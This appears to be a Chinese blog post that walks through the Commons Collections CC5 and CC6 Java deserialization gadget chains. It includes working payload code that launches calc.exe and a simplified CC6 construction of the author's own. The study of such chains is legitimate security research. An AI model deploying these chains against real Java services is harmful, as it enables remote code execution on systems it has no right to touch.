0x00 前言
这两个Gadget思路都差不多,所以一起写了。而且有了之前的基础,分析完这两个链甚至不要40分钟,所以今天就在Python课上摸鱼,写完了Demo
本篇包含以下元素:
- CC5-Gadget的分析
- CC6-Gadget的分析
- CC6-Gadget的改进(改进了原Gadget中key赋值的方式,变得超级简洁易懂👍)
0x01 CC5思路
LazyMapChain
CC5的前半部分采用CC1中的LazyMapChain(回顾: Java反序列化之CC1其二),代码如下:
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class },
new Object[] {"calc.exe"})
};
//create chain
Transformer transformerChain = new ChainedTransformer(transformers);
//LazyMap
HashMap hashMap = new HashMap();
LazyMap lazyM = (LazyMap) LazyMap.decorate(hashMap, transformerChain);
//poc
lazyM.get("foo");
这时候只需要调用了LazyMap的get方法,并传入任意参即可实现RCE。CC1中是利用的AnnotationInvocationHandler,而在CC5中是利用的TiedMapEntry类。
TiedMapEntry
在其getValue函数中,调用了map.get(key):
public Object getValue() {
return map.get(key);
}
而这里的map在构造函数中可控:
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
因此,当我们给TiedMapEntry的map赋值为上面构造的LazyMap时,调用TiedMapEntry#getValue就会触发RCE。尝试构造:
LazyMap lzMap = (LazyMap) MakeLzMap.makeLzMap();
//make tiedMap
TiedMapEntry tiedMap = new TiedMapEntry(lzMap,"foobar");
另外,在TiedMapEntry的其他函数中也用到了getValue函数,这也就扩大了我们的可利用面,比如下面的TiedMapEntry#toString函数:
public String toString() {
return getKey() + "=" + getValue();
}
BadAttributeValueExpException
在BadAttributeValueExpException的readObject函数中,会调用其val成员的toString方法:
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
所以如果我们将BadAttributeValueExpException的val成员利用反射(构造函数中貌似不可控)赋值成为上文的TiedMapEntry链,当在反序列时就会触发RCE。尝试构造Payload如下:
TiedMapEntry tiedMap = (TiedMapEntry) MakeTiedMap.makeTiedMap();
BadAttributeValueExpException badAttr = new BadAttributeValueExpException(null);
//set val for badAttr
Class clz = badAttr.getClass();
Field field = clz.getDeclaredField("val");
field.setAccessible(true);
field.set(badAttr, tiedMap);
至此,CC5-Gadget的分析结束
0x02 CC6思路
TiedMapEntry
CC6中依然是使用的TiedMapEntry,但是不再是利用toString函数去触发getValue,而是利用hashCode方法:
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
作为hash表的操作之一,在很多类中都存在调用,扩大了可利用的可能。
HashMap
回顾URLDNS一文: Java反序列化之URLDNS,我们知道在其put函数中会调用hash函数:
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
而hash函数会进一步调用hashCode函数:
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
所以当一个Map调用了put方法,并传入的key为我们上面的TiedMapEntry链时,就会触发RCE。
HashSet
在HashSet的readObject方法中,就有Map.put的操作:
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in any hidden serialization magic
s.defaultReadObject();
// Read in HashMap capacity and load factor and create backing HashMap
int capacity = s.readInt();
float loadFactor = s.readFloat();
map = (((HashSet)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));
// Read in size
int size = s.readInt();
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
E e = (E) s.readObject();
map.put(e, PRESENT);//这里
}
}
传入的key是来E e,这在writeObject中写明了来自其map成员:
for (E e : map.keySet())
s.writeObject(e);
所以如果我们可以控制其map成员的key,就能够将整个链串起来。
思考与大胆假设
原ysoserial工具中的实现,是先借助反射来获得实例化后的HashSet中的map成员,再获取map中table中的key,最后将key修改为TiedMapEntry,代码如下:
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
f = HashSet.class.getDeclaredField("map");
f = HashSet.class.getDeclaredField("backingMap");
Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
f2 = HashMap.class.getDeclaredField("table");
f2 = HashMap.class.getDeclaredField("elementData");
Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
keyField = node.getClass().getDeclaredField("key");
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
Reflections.setAccessible(keyField);
keyField.set(node, entry);
之所以这么做,是由于Map这种数据类型的key就是这么一层层存储的,所以用反射的方式就需要这么复杂的操作。但是熟悉HashMap操作的同学肯定知道,Map可以用put来添加键值对。而HashSet类中的add方法,就其实是封装了put:
public boolean add(E e) {
return map.put(e, PRESENT)==null;
}
所以直接用HashSet#add其实就直接能把key传进去,但为什么ysoserial不这么做呢?其实他做了,只不过他只用来占位:map.add("foo")
。为什么呢?别忘了,当我们直接给put传入TiedMapEntry链时,就会直接触发RCE,所以在构造Payload时就会造成RCE,这样虽然没啥大影响但是不太完美,所以作者大概基于此并没有直接使用add。
但其实经过懒狗的思考,似乎好像还是可以利用add方便的去添加key,而且还不在构造时触发。思路如下:
- 首先构造一个没有传入LazyMap链的TiedMapEntry链
- 然后将其用HashSet#add加入
- 最后再用反射调用修改TiedMapEntry链的Map,令其为LazyMap
这样似乎真的可行,因为在你add时,并没有LazyMap,所以不会进入到触发点。但是这样真的行吗?先传入TiedMapEntry链,然后你后来再用反射修改这条链Map值,可以做到让已经传入HashSet中的对象做到同步修改吗?
由于懒狗的Java基础很弱以及对Java反射的了解很浅显,所以也说不准,但是我们知道如果传入的是引用之类的,似乎是可行的。不过与其想半天,为什么不直接试试呢?
小心求证
第一步,构造一个没有传入LazyMap链的TiedMapEntry链
TiedMapEntry tiedMap = new TiedMapEntry(new HashMap(),"foobar");
第二步,使用HashSet#add将其传入
HashSet hashSet = new HashSet();
hashSet.add(tiedMap);
第三步,修改已经构造好的TiedMapEntry链的Map值为LazyMap链
//创建LazyMap链
LazyMap lzMap = (LazyMap) MakeLzMap.makeLzMap();
Field field= tiedMap.getClass().getDeclaredField("map");
field.setAccessible(true);
field.set(tiedMap, lzMap);
第四步,把此HashSet进行序列化和反序列化。
结果很喜人,看到了我们熟悉的计算器,虽然不知道发生了什么,但是我猜测是引用类型传参之类的。(望熟悉Java和反射机制的大佬赐教一下)